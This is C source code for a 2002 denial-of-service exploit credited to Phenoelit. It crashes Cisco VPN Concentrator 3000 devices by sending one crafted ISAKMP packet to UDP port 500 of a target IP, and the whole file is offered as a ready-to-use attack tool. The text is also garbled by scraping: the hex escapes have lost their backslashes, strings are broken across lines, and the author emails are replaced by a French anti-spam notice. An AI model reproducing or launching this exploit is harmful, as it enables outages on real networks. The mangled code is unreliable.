#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <time.h>
#define SPLASH
"Phenoelit Cisco VPN Killer
"
" Cisco VPN Concentrator 3000 DoS (3.6.0 and below)
"
" (C) 2002 - nowin of Phenoelit <
Cet e-mail est protégé contre les robots collecteurs de mails, votre navigateur doit accepter le Javascript pour le voir
>
"
" FX of Phenoelit <
Cet e-mail est protégé contre les robots collecteurs de mails, votre navigateur doit accepter le Javascript pour le voir
>
"
struct {
struct in_addr dest;
int sfd;
} cfg;
void *smalloc(size_t s);
int send500(char *packet, int len);
char fixed_ISAKMP[] =
"xf0x0dxf0x0dxf0x0dxf0x0dx00x00x00x00x00x00x00x00x01"
"x10x04x00x00x00x00x00x00x00x0FxFFx04x00x01x34x00x00"
"x00x01x00x00x00x01x00x00x01x28x01x01x00x08x03x00x00"
"x24x01x01x00x00x80x01x00x05x80x02x00x02x80x04x00x02"
"x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4x9bx03"
"x00x00x24x02x01x00x00x80x01x00x05x80x02x00x01x80x04"
"x00x02x80x03xfdxe9x80x0bx00x01x00x0cx00x04x00x20xc4"
"x9bx03x00x00x24x03x01x00x00x80x01x00x05x80x02x00x02"
"x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00x04x00"
"x20xc4x9bx03x00x00x24x04x01x00x00x80x01x00x05x80x02"
"x00x01x80x04x00x02x80x03x00x01x80x0bx00x01x00x0cx00"
"x04x00x20xc4x9bx03x00x00x24x01x01x00x00x80x01x00x01"
"x80x02x00x02x80x04x00x02x80x03xfdxe9x80x0bx00x01x00"
"x0cx00x04x00x20xc4x9bx03x00x00x24x02x01x00x00x80x01"
"x00x01x80x02x00x01x80x04x00x02x80x03xfdxe9x80x0bx00"
"x01x00x0cx00x04x00x20xc4x9bx03x00x00x24x03x01x00x00"
"x80x01x00x01x80x02x00x02x80x04x00x02x80x03x00x01x80"
"x0bx00x01x00x0cx00x04x00x20xc4x9bx00x00x00x24x04x01"
"x00x00x80x01x00x01x80x02x00x01x80x04x00x02x80x03x00"
"x01x80x0bx00x01x00x0cx00x04x00x20xc4x9bx0ax00x00x84"
"x41x6Ex64x20x50x68x65x6Ex6Fx65x6Cx69x74x20x73x61x79"
"x73x3Ax20x54x68x69x73x20x62x75x67x20x69x73x20x61x77"
"x61x72x64x65x64x20x74x6Fx20x53x65x61x6Ex20x43x6Fx6E"
"x76x65x72x79x20x66x6Fx72x20x65x78x63x65x6Cx6Cx65x6E"
"x63x65x20x69x6Ex20x63x6Fx70x79x20x61x6Ex64x20x70x61"
"x73x74x65x2Ex20x47x72x65x65x74x73x3Ax20x48x61x6Cx76"
"x61x72x2Cx52x69x6Cx65x79x2Cx4Ex69x63x6Fx26x53x65x62"
"x61x73x74x69x65x6Ex2Ex2Ex2E"
"x05x00x00x18 -==| PHENOELIT |==-"
"x00x00x00x04x0bx11x01xf4 Eat this and die!"
;
int main(int argc, char **argv) {
char option;
extern char *optarg;
int plen;
char *c;
printf("%s
",SPLASH);
memset(&cfg,0,sizeof(cfg));
while ((option=getopt(argc,argv,"d:"))!=EOF) {
switch (option) {
case 'd': if (inet_aton(optarg,&(cfg.dest))==0) {
fprintf(stderr,"Address of -d argument not IP
");
return (1);
}
break;
default: fprintf(stderr,"%s -d <ip_address>
",argv[0]);
return (1);
}
}
if (!(*((u_int32_t *)&(cfg.dest)))) {
fprintf(stderr,"%s -d <ip_address>
",argv[0]);
return (1);
}
plen=sizeof(fixed_ISAKMP)-1;
c=(char *)smalloc(plen);
memcpy(c,fixed_ISAKMP,sizeof(fixed_ISAKMP)-1);
send500(c,plen);
printf("Packet sent.
");
free (c);
return 0;
}
int send500(char *packet, int len) {
struct sockaddr_in sin;
if ((cfg.sfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP))<0) {
perror("socket()");
return (-1);
}
memset(&sin,0,sizeof(struct sockaddr_in));
sin.sin_family=PF_INET;
sin.sin_port=htons(500);
memcpy(&(sin.sin_addr),&(cfg.dest),sizeof(sin.sin_addr));
if (sendto(cfg.sfd,packet,len,0,
(struct sockaddr *)&sin,
sizeof(struct sockaddr_in))<=0) {
perror("sendto()");
return (-1);
}
return (0);
}
void *smalloc(size_t s) {
void *p;
if ((p=malloc(s))==NULL) {
fprintf(stderr,"smalloc(): fatal! Allocation of %u bytes failed
",s);
exit (-1);
}
memset(p,0,s);
return p;
}